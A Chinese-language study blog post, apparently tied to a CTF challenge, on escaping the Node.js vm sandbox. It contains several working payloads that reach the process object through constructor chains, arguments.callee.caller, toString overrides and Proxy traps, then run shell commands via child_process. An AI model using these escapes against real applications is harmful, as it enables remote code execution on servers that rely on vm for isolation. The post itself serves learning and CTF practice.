NodeJS沙箱逃逸

两种主要的沙箱模式

一种是在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。

使用vm.runinThisContext(code)

const vm = require('vm');

global.z = 1;

const vmZ = vm.runInThisContext('z+=1');
console.log('vmZ:', vmZ);
console.log('localZ', z);

还有就是在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

代表API:runInNewContext

const vm = require('vm');
global.z = 999;

const sandbox = {
  x: 1,
  y: 2
};

const code = 'z = x + y';

const result = vm.runInNewContext(code, sandbox);
console.log('sandboxZ:', sandbox.z);
console.log('globalZ:', z);
// sandboxZ: 3
// globalZ: 999

如何沙箱逃逸

沙箱逃逸在Node.js中的目标是获取对process对象的访问权限,因为它允许执行系统命令,进而实现RCE。在Node环境中,process对象是挂载在global对象上的。

但是,在使用vm.createContext()创建的沙箱环境中(就是上面的第二种),默认是无法直接访问到global对象的。因此,沙箱逃逸的主要目标是找到方法将globalprocess对象引入到沙箱中,从而实现RCE。

沙箱逃逸例子

const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('open -a Calculator')`);

runInNewContext中执行的代码可以分为两部分,首先是this.constructor.constructor('return process')(),其中:

  • this指向的是一个与沙箱上下文无关的对象
  • this.constructor 则指向创建该对象的构造函数
  • this.constructor.constructor 指向了Function的构造函数
  • ...('return process')() 这是一个IIFE的格式,Function的构造函数创建了一个return process的函数,并立马执行。最终返回了一个process对象。

.mainModule.require('child_process').execSync('open -a Calculator')则是通过引入child_process弹了一个计算器。

this是什么

这段代码是可以逃逸的

const vm = require("vm");
const sandbox = {};
const script = 
`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('open -a Calculator')`;
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);

但是将sandbox改为Object.create(null),出现了报错

sandbox变为null之后影响了process的获取,看了一些文章似乎this指的就是传入vm的沙箱对象,但似乎也不能直接将this与sandbox划等号

所以这里this所谓的“与沙箱上下文无关的对象”,到底是什么最后还是有点不清楚,总之先记住吧。

sandbox为null的情况

利用的方法

const vm = require("vm");
const sandbox = Object.create(null);
const script = 
`(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
  })()`;
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

首先script是一个IIFE的格式,函数返回了一个toString方法进过重写的a对象。

arguments.calleearguments.callee.caller 都是 JavaScript 中的旧特性,并且在严格模式(strict mode)中已被禁用。

  1. arguments.callee: 引用了当前正在执行的函数。
  2. .caller: 引用了调用当前函数的函数。

那么在console.log('Hello ' + res)处,a的toString方法触发,进而实现了逃逸。

使用Proxy对象劫持属性触发

const vm = require("vm");
const sandbox = Object.create(null);
const script = 
`(() =>{
    const a = new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return a
})()`;
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

throw+catch

const vm = require("vm");

const script = 
`
    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`;
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e) 
}

用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。

关于上次的题目

简单回顾下之前那道startschool,就是一个很标准的沙箱绕过payload

this.constructor.constructor('return process')().mainModule.require('child_process').execSync(`echo "skysky" >> data.html`);

其他内容

后面还可以看看vm2沙箱啥的,遇到再说吧~

参考链接

NodeJS VM和VM2沙箱逃逸
nodejs沙箱与黑魔法
Sandboxing NodeJS is hard, here is why